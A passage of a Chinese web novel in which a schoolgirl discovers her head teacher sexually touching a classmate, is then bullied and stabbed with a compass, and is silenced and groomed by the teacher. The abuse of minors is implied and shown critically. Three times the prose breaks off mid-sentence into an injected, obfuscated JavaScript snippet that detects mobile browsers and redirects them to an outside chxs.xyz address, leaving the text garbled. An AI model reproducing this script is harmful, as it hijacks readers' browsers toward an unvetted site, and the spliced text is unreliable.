“不过也是因为刘肖肖确实说过嘴贱的话吧~可能在老师眼里,两方都有错吧。而且张雪薇每次也都挨罚了。”另一个女生小声加入讨论。
“不就是打扫卫生,整理图书室吗?那间破图书室都没对学生开放过,有什么可整理的,这不是偏袒是什么?”
“哎哎哎,别说了,张雪薇来了。”
所有人觑了一眼张雪薇经过的方向,又都齐声闭了嘴。
陈月露头一次觉得这些恩怨不知道该如何判决。她觉得张雪薇在用烟头烫人的时候可恶,但张雪薇的伤疤被众人当笑话撕来揭去的时候,又……确实有一点可怜。
她是在后来逐渐领会到,伤害是有很强的扩散性质,大人受到的伤害会不自觉向小孩扩散,小孩受到痛苦后会向轻易向弱小的同伴转移。
就像是肮脏的污水,永远会顺着最轻易的方向流动,永远拾级而下,最终由最弱小的阶级承受。
董敏丝毫没有察觉周围突然的安静,她一条胳膊压在桌面上,头抵着胳膊,正在读藏在课桌的桌肚子里的一本漫画书。
张雪薇环顾了一眼突然沉默的人群,最后走到了董敏的桌子旁。她把头发披在肩膀,上身穿了一件紧身的T恤,牛仔裤绷在修长的腿上,发育良好的身体使她看上去像16、17岁。
她抱起手臂,姿态带着压迫感,目光像刀子一样盯着毫无察觉的董敏。
陈月露心里有一股不好的预感,她从桌子底下踢了董敏一脚。董敏这才注意到自己身旁立了一个人。
等看清是张雪薇后,她茫然不知所措。
张雪薇一把抽出董敏藏在桌肚里的漫画书,她细长的手指翻了两下,冷笑了一声。漫画书的名字叫《魔法王子》,是一本有名的少女漫,有名的原因在于主角的恋爱场景画得极为旖旎动人。
张雪薇翻到的那页,恰好是男主半裸着上身,在床上怀抱着满脸羞红的女孩的画面。张雪薇的脸像发青的白瓷,她弯下腰,发丝垂坠下来,眼睛黑漆漆的,声音阴冷冷地对董敏说:“你就那么喜欢研究‘睡觉’吗?”
几天前,张雪薇被一个女生公开刻薄,就是因为董敏发出了“睡觉是怎么回事”的疑问。
董敏咽了一口吐沫,低下头没说话,脸颊已经涨红了一片。
董敏这反应却令陈月露着急起来,这时候哑火,给人感觉像是心虚了一样。她又是这么个锯嘴葫芦,平日里咋咋呼呼,但实际又胆小又害怕冲突,总在关键时刻掉下链子。
陈月露瞥了一眼后排,汤绍那群男生并不在。她给自己壮了壮胆,替董敏解释道:“董敏没有什么恶意,她……她之前的话不是针对你。”
张雪薇注意力被转移到陈月露身上。“又关你屁事?!”她白了陈月露一眼,“话说回来,如果她没有恶意,你着急解释什么?不是心虚吗?”
“她真的没有恶意,就是因为我是旁观者我才看得清楚。”陈月露有点急,干脆站了起来,“她前面的言论就……只是关于每个人都会有的生理知识的疑问,并没有特别指向你。更何况……更何况别人的看法都那么重要吗?”
陈月露心一横,心里话咕噜滚出来:“你又不能打死所有对你有偏见的人。”说完,她一只手摸上一本厚厚的习题册,时刻准备用来做防卫。
张雪薇跟陈月露之间没有仇怨,看她为朋友胆怯地出头,心里一阵不舒服。她撇了撇嘴,讽刺道:“真是水仙不开花,你装什么蒜。”
“张雪薇,你出来一下。”这时,门口白世尧冷着脸色喊。
张雪薇瞥了一眼那边,皱了皱眉。她转过头看了眼站得像个小卫兵一样的陈月露,轻咬了一下后槽牙,把手里漫画上看不顺眼的几页撕了下来,揉成团,连着整本书往身后一扔。
陈月露看着被撕坏的书,眉头一皱,脾气冒上头,“你凭什么…”她刚想往前走两步继续理论,衣角却被身后的董敏轻轻拽住。
陈月露扭头,董敏垂着眼摇摇头,低声说了句:“算了,算了。”
张雪薇就那么盛气凌人地盯着陈月露,陈月露感觉到拉住自己衣角的力度越来越大,她再看董敏,她的目光里带了一点哀求。
“砰砰砰”心跳声如重锤敲击在闷鼓上,陈月露从来没跟人起过冲突,她的愤怒在迟滞中撤退了下去。
见陈月露不再说话,张雪薇讥讽地冷笑了一声,她朝门口方向走去,暂时放过了陈月露和董敏两人。
她一离开,周围的人都舒了口气。
“听说又有学生家长来告她状了。”
“估计又要挨罚了。”
“挨罚又有什么用,不轻不重的,最后还不是这么嚣张?”
“真想不通她的变化怎么这么大,我原先还同情她来着。”
“有汤绍罩着呗~”
“有时候觉得她妈说得也没错,她是像个狐狸……”
“你还敢这么说啊。”
同学们小小的议论了一下后,铃声一响,像鱼群一样散开了。
被这么一打击,董敏像只被雨淋湿了的鹌鹑,缩着脖子,闷闷不乐地趴在桌面上。
陈月露趁老师没来,快速溜到后排,捡起董敏的书和被撕掉的书页,又猫着腰冲回自己座位。她拍了拍书上面的灰,从笔袋里掏出胶带,把揉成团的几页展平,粘好撕痕,重新补到漫画书上,又用手掌根压了好几遍,把修补好的书从桌子底下悄悄塞给了董敏。
董敏后知后觉地接过来,说了谢谢,盯了那本漫画一会儿,没再翻开,直接塞进了书桌里。
她的脸板得快要结成冰。
陈月露看她那么不高兴,想了想,扔给她一个小纸条,写的是“别不高兴了,晚上我请你吃炸地瓜饼。”
对方没反应。
“你的歌词本我帮你抄五页。”
“我给你叠千纸鹤。”
“帮你打三天水还不行吗?”
……
通通没反应。
陈月露终于又想到一个,在纸条上写:“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885204|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晚上去图书室,把那本《恶作剧之吻》拿出来借给你看。”
董敏果然中止了郁闷的情绪,很快回了一张字条,“行!”
过一会儿她又丢了一只小千纸鹤给陈月露,千纸鹤背上贴着的小纸条端正地写着,“你最好了!”
学校的图书室很少对外开放,就坐落在白世尧办公室的旁边。
除了董敏,没有人知道陈月露有图书室的钥匙。那是老余担任班主任的时候,分配给陈月露的任务,她需要一个月去那里清扫一次卫生。
以前每次打扫完卫生,陈月露都会在里面多呆一会儿。图书室三面墙都钉着书架,中间还打了两排,高高的架子排满了书,最中央摆了一张长长的沉重的桌子,凳子被整齐地列在一旁,桌子最中央放着一盏台灯,台灯罩子上还缀着流苏,只是台灯的灯光已经不是很明亮,带点昏黄色。
陈月露已经翻完了图书室里面的大部分书,其实里面适合她这个年纪读的并不多。大部分是各科教材,还有一部分是晦涩的文献,很多大块头的名著她读得一知半解。
即使这样陈月露也很喜欢那里。那里就像一个梦场,随便翻开一本书,就可以追随着作者进入一个世界,现实中的时间会飞速流逝。
吃完晚饭,董敏就开始催陈月露去图书室取那本漫画书,陈月露从宿舍里拿了钥匙,刚一走出楼道,天气忽然变了天,云层黑沉沉地压下来,光线骤然变黑,周遭刮起了大风,大雨没有下,却在要来的路上。
“咱们带上伞再去?”董敏犹豫地看着天。
陈月露估量了一下到图书室的距离,“没多久,你在这儿等我,我跑过去,要是下起雨,我在教室里有把伞。”
她说完就像颗小炮弹一样冲了出去。风越刮越大,像小鞭子一样抽得她脸生疼,把她的头发搞得乱七八糟。她半眯着眼,绷上全身的力气,一口气冲到了教学楼的四楼。
她正准备打开图书室的时候,看见图书室的窗户大开着,风吹得两面窗户摇摇摆摆。
陈月露走过去,准备把窗户关上,屋内被拉上的窗帘像没有重量的巨型海草,被浪涛打得飘荡起来。
此时她忽然听到图书室里有人说话的声音,她关窗的手停住。
窗帘被风荡得抬起又落下,周围的光线已经被彻底吞噬。
陈月露从窗户往里看过去。
张雪薇坐在暗红色的木桌上,两只手扶着桌面,T恤被撩上去,露出一截洁白的腰肢。
桌子中央的那盏台灯的灯光晃来晃去,晦暗不明,风发出剧烈的呼啸,一声闷雷轰隆滚过来,窗帘的一角被吹抬得更高,像一张被用力掀开的遮布。
于是陈月露便看见,白世尧就站在张雪薇身前。他一只手顺着张雪薇裸露的腰攀延而上,眼神落在张雪薇脆弱的后脖颈,粘腻得仿佛在舔舐猎物。
张雪薇每犯一次错误就会被惩罚去整理图书室。陈月露想起这个传言,她浑身的汗毛竖立起来,双腿像灌了铅,她费力地往后撤退了一步。
白世尧忽然就抬起头。
陈月露被可恶的恐惧定住了,周遭的空气仿佛被一瞬间抽走,白世尧的目光紧紧看着她,咸腥的危险的气息扑面而来,她的神智被冰冻住。
她看见,他缓缓抬起手,冲着自己比了个嘘。
18. 欺负
“书呢?书呢?”
董敏蹲在宿舍楼的楼道口问,等她抬起脑袋看到走近的陈月露,眉头都皱紧了。
陈月露浑身都淋湿了。
几分钟前,秋雨随着几声滚雷从云层里泼下来,霹雳啪啦砸在大地上,陈月露身上什么也没挡,一路失神地走回了宿舍。
雨水顺着陈月露的脸往下淌,上身浅色的T恤已经被浇成透明,她用胳膊抱住自己的胸口,本来宽松的运动裤因为湿透了紧紧贴在腿上。
她眼睛失焦地对着地面,脸色煞白一片。
“你傻啊,雨来了不躲淋成这样!”董敏没再问书的事情,直接拽着陈月露往宿舍里走,“走走走,回去换衣服,感冒了就坏了。”
陈月露沉默地被拽回了宿舍,又像个木偶一样被放置在凳子上。
“这是被雨浇傻了?”董敏用手在她眼睛前晃了晃,“还不换衣服,等我给你换?”她开玩笑地抻着陈月露的衣角往上一撩,说道:“你要是不介意,我倒也没意见。”她咯咯咯地笑起来。
陈月露恢复了失焦的眼神,用胳膊挡开了董敏,并把她往宿舍外推出去,董敏在出门的一刻,觉察出一点不对劲,挡住门忽然严肃地问:“你刚才到底干嘛去了?”
陈月露停住推搡,看董敏的样子知道她不会干休,糊弄说:“没啥,我没拿到书,没找着。”
“那脸色成这样?”
此时陈月露的小脸煞白得像张揉皱巴了的卫生纸。
陈月露在董敏的目光里吞了口口水,半响后,结巴地说道:“我碰见……张雪薇了……”
董敏把门撑开,脸色一下子变得很难看,声调直接抬上去,“她欺负你了?”
陈月露没点头也没有摇头,脑海里白世尧举着手指对她比的嘘,像是一个魔咒,缝住了她的嘴,堵住了她的声道。她甚至不敢在心里发出一点声音。
不愿再讨论这个话题,陈月露使了股力气,加速把董敏推出门外。
董敏拍了两下门无果后,她皱起脸,整个缩成一团蹲在地上。
张雪薇肯定是欺负她了,董敏心里想。
不能再这样下去,如果还有下一次,她要去告诉白世尧,她会把情况说惨一点,她还可以联合其他被张雪薇都欺负过的女孩一起告状,把事情闹大,白世尧是班主任,白世尧肯定会管的。
此后几天,陈月露都有点魂不守舍,她没有办法直接面对白世尧,她害怕白世尧从她的眼睛里查询出自己的恐惧。
但白世尧像没发生过任何事儿一般,以至于陈月露恍惚间觉得,那个晚上的事情是不是根本没有发生过,是不是……只是她的一场臆想。
实际白世尧只是笃定地知道,那一个嘘,就能困住陈月露。
这段时间,白世尧比刚来时温和平静了更多。“刺头”黄得洪被开除,对其他人起到了一定威慑,汤绍忙着和张雪薇打成一片,一时没人再和白世尧作对。
白世尧像在这个学校找到了当班主任的乐趣,偶尔会在自习课给学生放电影,买一堆橘子瓜子和汽水在班会上分发,他态度温和,思想开放,纪律宽松,陆续地,陈月露听到有学生当着他的面叫他“老白”。
他神态里都带着几分怡然自得。
而陈月露,连在他经过的片刻,都会屏住呼吸,绷紧神经。她害怕白世尧突然关注到她,害怕白世尧的面具突然裂开,露出一张毒蛇般的面孔。
张雪薇开始翘课,她染了头发,打了耳钉,她彻底放弃了学习,偶尔出现在课堂,也只是睡觉。
陈月露经常时不时转头看向她。她是被逼的吗?她到底怎么想的,她需要帮助吗?
张雪薇察觉到陈月露频频投来的目光。
在一个课间,张雪薇终于受不了,拎着一本练习册走到陈月露的位置,她使劲朝着陈月露的后背拍过去,
“你老看什么看!”
陈月露被这一力道拍得直接趴在了桌面,身体上并没有太疼痛,但她迟迟没起身。
一股迷茫噪杂混乱的情绪在她心里搅成一团,被点了一丛小火,开始咕嘟沸腾。
“你别装啊!我打得没那么大劲儿,少搁这儿装可怜。”
陈月露终于站起来,她比张雪薇矮了快十厘米,需要仰起头才能直视张雪薇的目光。她没有抬头,半垂着眼压低着声音问道:“你需要帮助吗?”
张雪薇没有听清,她不耐烦地问:“你在说啥?”
第二次陈月露慢慢抬起头,她对上张雪薇的眼睛,迷茫又恐惧地问:“你,是被逼的吗?”
张雪薇看着她的眼睛,那眼睛黑白分明,带着恐惧和胆怯,还有这刻意压低的声音与疑问内容。张雪薇第一反应就是她是不是知道了什么。意识导致这点的瞬间,一股急躁冲涨到她脸上,仿佛背了一块满是钢刺的铁板,密密麻麻的细微的刺痛感遍布她后背。她一把抓起陈月露的胳膊,“你TM都知道什么?”
陈月露没有回答。
上课铃声响了,数学老师板着脸走进教室,适时地打断了这场对峙。
“你最好闭紧嘴,别管闲事儿。”张雪薇恶狠狠甩开陈月露的胳膊,回到了自己座位。
这一通下来,心慌的人换成张雪薇,她几乎什么也听不进去,频繁地望向陈月露。
她是知道了吧,除了她都有谁知道,她到底是什么意思?
脚下像放着一块烧热的铁板,后背的刺痛感越来越强烈,令她烦躁得想尖叫。张雪薇拿过桌面上的圆规,盯着发亮的尖头,往在自己手指上戳了一下,圆溜溜的一滴血珠涌出来,真实的刺痛感转移走了她的注意力。她把手指含进嘴里。
她拿了一张纸,擦干净圆规的尖刺,折起来,揣进了自己的兜里。
数学课上完就是午饭时间,铃声一响,学生像出笼的小鸡一样涌出去。
陈月露独自去食堂吃饭。她刚转过教学楼的拐角,在自行车棚边,又看见了冷冰冰的张雪薇。
张雪薇手上摆弄着一只口红,她的嘴巴刚涂完,因为涂得厚,浓郁的颜色使她的嘴唇像一颗烂掉的西红柿。她身边站着瘦伶伶的章斌,手里甩着一只棍子。汤绍斜坐在一辆自行车后座上,叼着烟,对张雪薇说:“你弄快点,搞完我们翘课去吃那家新开的饭店。”
陈月露反应过来,立马转身就往后跑。
“妈的,反应挺快。”章斌几步追上陈月露,拎住她的后领甩到了车棚最里面。张雪薇箍住她的胳膊后,挥了挥手让章斌离远点。章斌后退了几步,眼睛饶有兴致盯着这边即将上演的折磨场景。
张雪薇俯身到她的耳边,轻声问:“你都知道什么?”
陈月露咬着牙不出声,张雪薇先给了她一个耳光,又拿出来圆规,在她眼前晃了两下,“不说?”
陈月露拼命往后躲,脚在地面上擦出深深的印痕,下嘴唇几乎快咬出血。
张雪薇没再废话了,把圆规狠狠扎在陈月露的手臂上,猩红的嘴唇一张一合:“不管你知道什么,你要敢说出口,我就弄死你。我会扒光了你,给你身上贴上婊子的标签,扔给一堆男的。”
被扎原来是这种感受,尖锐的震颤的痛感,令陈月露视线快模糊,她意识开始封闭,并短暂失去了对自己身体的控制。之后五感也被封闭,她什么也感受不到,也不觉得痛苦。她就像一只可以随便摔打的破布娃娃。
就在这迷迷糊糊中,陈月露听到砰的一声。
一只足球向着张雪薇砸过来。
在场的几个人同时朝着足球砸来的方向看过去,赵冬阳斜挎着黑色书包站在不远处,他正在拉好书包拉链,左手里还拎着一只扳手。
“你们哪儿班的?”赵冬阳的声音清清朗朗地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885205|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
传过来。
“关你屁事儿,狗拿耗子。”汤绍先骂骂咧咧地站起来,他扔了手里的烟,往前走了几步,章斌打量赵冬阳后迟疑了片刻,最后还是跟在汤绍身后。
“要不要脸,仨人欺负一个小姑娘?做的这些事儿自己不嫌跌份儿,还不叫人管?”赵冬阳卷起袖子,他皮肤原来白,手臂上没晒黑的地方露出的清晰的血管。
“我艹!”汤绍被说得恼火,他直接抽出身后的一根铁棍,朝赵冬阳走过去。
害怕冲突的陈月露神智突然一瞬间清明,她把张雪薇狠狠拽得弓下身,在她耳边说:“你那件事,如果不想让全校知道,就别让他们打起来。”
张雪薇微微一滞,“靠,咱俩谁教训谁?!”
她盯着她坚决的神情思忖了一会儿,陈月露的威胁最终起了效果。张雪薇往前快步走了两步,拉住蹿火的汤绍,小声跟他说:“走,别跟小瘪三计较。咱们去吃铜火锅。”
张雪薇使了个眼神给章斌,章斌也赶紧走过来打缓和:“这会儿中午人多,打起来事儿挺大的,等后边他出了学校,叫人围他,不差这一口气。”
汤绍两边被拉着,心里的火发不出,他甩开两人胳膊,拿棍子往车棚边的垃圾桶上狠狠一敲,敲瘪了金属的顶盖,朝门口走去。章斌赶紧跟上。
张雪薇踢了一脚陈月露,用警告的眼神看她,“你敢乱说,弄死你。”等她说完也要离开,却被赵冬阳拦住。
“你跟她道歉。”赵冬阳指向陈月露对张雪薇说。
张雪薇往前面看了一眼,章斌和汤绍已经消失在校门口。她镇定了一下,面不改色,用带着盛气凌人的语气对峙道:“刚才汤绍他们在,你怎么不叫我道歉?欺负软的怕硬的?”
赵冬阳被这番话气乐了,“你是软柿子?你也可以把他们叫回来,我一样让你道歉。”
张雪薇抬眼打量他两眼又转头看陈月露,忽然像发现了什么,语气一变,“哟!她是你什么人啊,这么护着?干妹妹还是对象啊?啧~这么正直,早恋可不好。”
她抱着手臂往前一倾,一脸尖酸。
这一下把赵冬阳怼得哑火。他脸皮薄,被说得耳根微微发烫。
张雪薇又转到陈月露身边,“看不出来啊,小狐狸精,找男生给你出头,有两把刷子。”
陈月露听着这种尖酸的言语,低声吐露出一句:“你现在,和你妈妈好像。”
“你他妈!”像被踩中尾巴的猫一样,张雪薇一抬胳膊就要打过去。
赵冬阳挡开张雪薇的手臂,直接把陈月露拽到自己身后,他语气不耐烦地说:“别没完没了!欺负人还上瘾了你?!人模人样的连最基本的素质都没有吗?”
“你厉害,你牛逼。你们都正当磊落,就我不是好人,就我是阴沟老鼠,就我活在垃圾场里。”
张雪薇一边比着中指一边倒退,尖酸刻薄地说:“你们可得永远这么有素质,永远这么正义凛然,假惺惺的玩意儿~”
张雪薇踢了垃圾桶两脚,最后走远了。
“脑子有病。”赵冬阳转过身看陈月露,她胳膊流出一小股血。他挠挠头,掏出一块手帕,给她绑在胳膊上,一边绑一边碎叨:“怎么都不知道反抗呢?”
陈月露的痛感重新回归,她发出嘶的一声。
赵冬阳放轻了手上的动作,又不满地瞪她一眼说:“这会儿知道疼了。”
手帕被裹了一圈后打了一个小小蝴蝶结,赵冬阳直起身,“以后她再找你麻烦,你去五班找我。这群人打一顿就好了。”
“如果我像你一样就好了。”
“什么?”
赵冬阳看向陈月露,她低垂着眼,头发黏在脸颊上,蔫巴巴的,像只刚从水里捞上来的小猫。
陈月露带着一副迷茫的神情又重复一遍:“如果我像你一样就好了。”
19. 告密
陈月露以为这事会到此为止。她会把张雪薇和白世尧的秘密烂死在心里,夹着尾巴不生是非地混完剩下的一年多。
但她没想到董敏把这件事儿告到了白世尧那里。
那天董敏被叫走没多久又了回教室,没看到陈月露,董敏沿着去食堂的道路上,一眼就看见了守在车棚口的汤绍和章斌。
不好的预感让董敏往车棚深处探寻地望了两眼,看见被张雪薇揪住不放的陈月露后,她先跑到最近的操场,拦住踢完球准备去吃饭的赵冬阳,叫他去解救陈月露后,她又拔腿跑向白世尧的办公室。
董敏冲到办公室先说了现场的情况,为了加深这个事件的严重性,她又补充道:“陈月露可不止被她欺负了这一次!!”她双手大幅度比划着,“有次去教学楼,那天下大雨,她碰上张雪薇后,淋着大雨走回宿舍,脸白得跟纸一样,连说话都哆嗦,一问那天发生了什么,陈月露整个人就快碎了。”
听完这番话,白世尧脸上的肌肉轻轻抽动了一下,他停下了手里的批改作业的动作,恢复面无表情的状态,从桌子抽屉里拿出一根新的笔芯,慢慢拆开包装。
“那你觉得,你能问出她当天遭遇过什么吗?”白世尧把红笔芯换到笔杆里,转头看向董敏。
董敏以为白世尧想知道张雪薇霸凌过程的更多细节。她挺了挺腰背,拍了拍胸膛,胸有成竹地说:“那肯定可以,我俩关系最好了,她什么都会跟我说,我要问一定能问出来。”
“那倒不用,我叫她过来,什么委屈,陈月露自己会跟我说。”白世尧擦了擦手指上的笔痕,和善地拍了拍董敏的肩膀,“你很好,肯为朋友出头,不鲁莽又相信老师,是个热心的好孩子。”
董敏被夸得飘飘浮浮,又说了几件张雪薇欺负别人的事情后,白世尧叫她先去吃饭。董敏先返回了霸凌现场,见人都已经不在原地了,她才放心地去吃午饭。
第二天自习课,陈月露正低着脑袋算三角函数,语文课代表走到陈月露的座位边,他敲了敲陈月露的桌子,跟她说:“老白找你,在他办公室。”
陈月露的手一抖,写花了最后一题的答案。
陈月露先在办公室门口徘徊了很久,她的心快跳到嗓子眼儿里,双手紧张地揉搓着胳膊,迟迟不敢进去。
过一会儿张雪薇立在陈月露身后,铁着脸,狠狠推了她一把,直接把人搡进了办公室。
白世尧正在批改作业,他抬眼看了这两个女孩一眼,直起身先把办公室的门给关上了。他什么也不说,继续批改作业,两个人就那么沉默站着。十分钟后,张雪薇站累了,她从旁边拖过来一把凳子,坐上去,把腿翘在凳子的扶手,小腿一晃一晃的,无聊地摆弄着自己刚染的手指甲。
陈月露一动不敢动,在这种环境里,觉得自己呼吸都是错的。
站了整整一节课后,白世尧擦擦手指,先面向张雪薇,“我讨厌你们给我找麻烦,有人告诉我说你打了陈月露,”他静静注视着两个人,“这件事情该怎么解决?”
张雪薇扣着手指不出声。
“陈月露?”
陈月露垂着头,脑子里咚咚的声音越来越大,她发不出任何声音。
白世尧收回目光,接着把面前作业又换了另一摞,余光又瞥向张雪薇,“你要我叫你妈来吗?”
张雪薇尖叫出声:“不要!”她整个人站立起来,平复了一下声音,才说:“她说她知道我的秘密。”她说完,胸膛轻轻起伏。
白世尧放下手中的笔,转过身把胳膊杵在大腿上,半俯下身看向陈月露,“你会和别人说她的秘密吗?”
陈月露僵硬地摇摇头。
“为什么你不说呢?”
陈月露愣住,她支吾了两下,“因为……因为……”就像那张写不出来的检讨,她说不出来。
“因为那是秘密,每个人都有秘密,探查别人的秘密本身就是不礼貌的事情,你居然还用这个秘密去威胁别人。你是这么恶心的人吗?”
“没人喜欢爱给别人找麻烦的小孩。你还有一年才毕业,你应该专注在自己功课上,除此以外,当一个鸵鸟和适合你。你听懂了吗?”
陈月露僵硬地点点头。
“所以那晚的事情不能再有后续,秘密只有一个去处,那就是烂死在肚子里。”
陈月露又点点头,她真想快点离开这里。
白世尧盯着她,她的恐惧那么明显,这让他觉得熨帖,也让他好奇,她的底线可以退让到什么地步。
“那你给张雪薇道个歉吧。”他说。
陈月露怔住,她机械木偶般转动脖子看向张雪薇,张雪薇忽然觉得这事情有意思起来,她双手环抱,嘴角带着一丝笑意,斜着头看向陈月露。
陈月露觉得全身都在颤抖,胳膊上的伤口一阵阵刺痛。她不想道歉,但她又想离开这里。是非善恶恐惧防线被搅和成黏糊的一团。
最后她深深吸了两口气,低着头,用尽所有力气,生硬地从胸腔里挤出一句:“对不起。我错了。”
张雪薇笑起来。
欺负的本质是什么,是优越感。
张雪薇现在觉得心头舒服了,笑完冲白世尧一摊手说,“白老师,我觉得这个结果可以,很公道。我可以走了吗?”
白世尧点点头让她离开。
于是陈月露也跟着往门口走去,她刚走到门口,白世尧的声音从
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885206|159853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她身后响起,“语文课代表的工作,后面就换你来干。”
不要不要不要!!
陈月露猛地转过身,目光和肢体动作都表示着自己的抗拒。
白世尧平静地说:“这是给你的惩罚呀,是你没把秘密保管好,你还告诉了你的好朋友。她说你任何话都会跟她讲,你这样不规矩,我怎么能放心。”
陈月露一瞬间产生了内疚感,好似这个处境的确是自己不守规矩造成的。
屋里陷入一阵寂静,空气里漂浮着起起伏伏的尘埃,光线像把尖利的剑从陈月露的眼睑割开到左耳,她费劲得眨巴了两下干燥的眼睛,沉默地遭受着内疚。
“你那个好朋友挺有意思,”白世尧从抽屉里掏出一沓漫画书和言情小说摊开在桌面上,“这是各科老师从学生中间没收的课外书,这里面一多半都是这个董敏的,还是在青春幻想的年纪啊,又义气又热血。”
陈月露不知道他为什么要这样提起董敏,她疑惑地抬起眼。
“我这个人很民主,所以我给你一个选择题,你来决定,这个课代表是你来当,还是让董敏来?”白世尧端起茶杯喝了口水,眼神在水汽里明明暗暗。
陈月露越发觉得有点糊涂,西斜的太阳从窗户里烘晒着她唯一一点理智,嗫嚅着问:“只是当课代表就可以了?”
就可以赎掉这个莫名的罪过,当做一切没有发生过吗?
“那当然。课代表就代表是我的亲信,亲信是什么意思你懂吗?”
“就是秘密共享,就是立场和利益都捆绑在一起。”白世尧声音不轻不重地,像排冷血动物的尖牙齿啃噬着陈月露的脑子。
“不要,”陈月露低着头,她对白世尧的描述有一种不详的直觉。成为白世尧的亲信,保守他这些秘密什么,本能让她排斥。
“不要什么?!”耳边瞬间响起一声并不愉快的声音。
她扣着胳膊上被扎伤的地方,双腿又开始忍不住颤抖起来。董敏,她想起董敏叽叽喳喳却比自己还软弱的性格,她遇到这种复杂的情形会比自己更坚强吗?
不会,她大概率会直接崩溃掉。
“二选一,你还是她?”白世尧翘着二郎腿倚靠在椅背,他看着陈月露,把手里的红色签字笔轻轻地戳在桌面上,发出哒哒哒的声音。
“我,这个课代表我做。”陈月露挤出像蚊子一样低低的声音,她不太清晰这个男人话中曲里拐弯的隐晦含义,但她知道,董敏不可以再被卷入到这件事情里。
“真是听话的好孩子。”白世尧看着她露出一个微笑,他语气很高兴,像是逮到了一只满意的猎物,“昨天的作业你晚点帮我收上来,放学后交到办公室里。”